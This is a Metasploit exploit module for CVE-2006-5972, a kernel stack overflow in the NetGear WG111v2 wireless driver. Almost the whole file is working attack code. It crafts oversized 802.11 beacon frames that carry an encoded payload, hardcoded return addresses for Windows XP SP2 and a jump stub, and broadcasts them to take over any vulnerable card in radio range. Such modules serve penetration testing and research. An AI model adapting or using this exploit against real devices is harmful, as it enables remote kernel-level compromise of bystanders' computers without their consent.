require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = LowRanking
include Msf::Exploit::Lorcon2
include Msf::Exploit::KernelMode
def initialize(info = {})
super(update_info(info,
'Name' => 'NetGear WG111v2 Wireless Driver Long Beacon Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in the NetGear WG111v2 wireless
device driver. This stack buffer overflow allows remote code execution in kernel mode.
The stack buffer overflow is triggered when a 802.11 Beacon frame is received that
contains more than 1100 bytes worth of information elements.
This exploit was tested with version 5.1213.6.316 of the WG111v2.SYS driver and
a NetGear WG111v2 USB adapter. Since this vulnerability is exploited via beacon frames,
all cards within range of the attack will be affected. The tested adapter used
a MAC address in the range of 00:18:4d:02:XX:XX.
Vulnerable clients will need to have their card in a non-associated state
for this exploit to work. The easiest way to reproduce this bug is by starting
the exploit and then unplugging and reinserting the USB card. The exploit can
take up to a minute to execute the payload, depending on system activity.
NetGear was NOT contacted about this flaw. A search of the SecurityFocus
database indicates that NetGear has not provided an official patch or
solution for any of the thirty flaws listed at the time of writing. This list
includes BIDs: 1010, 3876, 4024, 4111, 5036, 5667, 5830, 5943, 5940, 6807, 7267, 7270,
7371, 7367, 9194, 10404, 10459, 10585, 10935, 11580, 11634, 12447, 15816, 16837,
16835, 19468, and 19973.
This module depends on the Lorcon2 library and only works on the Linux platform
with a supported wireless card. Please see the Ruby Lorcon2 documentation
(external/ruby-lorcon/README) for more information.
},
'Author' => [ 'hdm' ],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 9669 $',
'References' =>
[
['CVE', '2006-5972'],
['OSVDB', '30473'],
['URL', 'http://projects.info-pull.com/mokb/MOKB-16-11-2006.html'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload'=>
{
'Space'=> 1000,
},
'Platform' => 'win',
'Targets'=>
[
[ 'Windows XP SP2 (5.1.2600.2122), WG111v2.SYS 5.1213.6.316',
{
'Ret'=> 0x80502d7f,
'Platform' => 'win',
'Payload'=>
{
'ExtendedOptions' =>
{
'Stager' => 'sud_syscall_hook',
'PrependUser'=> "\x81\xC4\x54\xF2\xFF\xFF",
'Recovery' => 'idlethread_restart',
'KiIdleLoopAddress' => 0x804dbb27,
}
}
}
],
[ 'Windows XP SP2 (5.1.2600.2180), WG111v2.SYS 5.1213.6.316',
{
'Ret'=> 0x804ed5cb,
'Platform' => 'win',
'Payload'=>
{
'ExtendedOptions' =>
{
'Stager' => 'sud_syscall_hook',
'PrependUser'=> "\x81\xC4\x54\xF2\xFF\xFF",
'Recovery' => 'idlethread_restart',
'KiIdleLoopAddress' => 0x804dc0c7,
}
}
}
]
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Nov 16 2006'))
register_options(
[
OptString.new('ADDR_DST', [ true,"The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
OptInt.new('RUNTIME', [ true,"The number of seconds to run the attack", 60])
], self.class)
end
def exploit
open_wifi
stime = Time.now.to_i
rtime = datastore['RUNTIME'].to_i
count = 0
print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
while (stime + rtime > Time.now.to_i)
wifi.write(create_beacon)
select(nil, nil, nil, 0.10) if (count % 100 == 0)
count += 1
break if session_created?
end
print_status("Completed sending beacons.")
end
def ie_padding(data)
ret = 0
idx = 0
len = 0
while(idx < data.length)
len = data[idx+1]
if (! len)
data << "\x00"
len = 0
end
idx += len + 2
end
data << yield(idx - data.length)
end
def create_beacon
ssid = rand_text_alphanumeric(16)
bssid= ("\x00" * 2) + rand_text(4)
src= ("\x00" * 2) + rand_text(4)
seq= [rand(255)].pack('n')
stamp= rand_text(8)
frame =
"\x80" +
"\x00" +
"\x00\x00" +
eton(datastore['ADDR_DST']) +
src +
bssid +
seq +
stamp +
"\x64\x00" +
rand_text(2) +
"\x00" + ssid.length.chr + ssid +
"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
"\x03" + "\x01" + channel.chr
jumper =
"\x6a\x39" +
"\x58" +
"\x01\xc7" +
"\xff\xe7"
buf = rand_text(1160)
buf[0, payload.encoded.length] = payload.encoded
buf[1101, 4] = [ target.ret ].pack('V')
buf[1113, jumper.length] = jumper
frame << ie_padding(buf) {|c| rand_text(c) }
return frame
end
end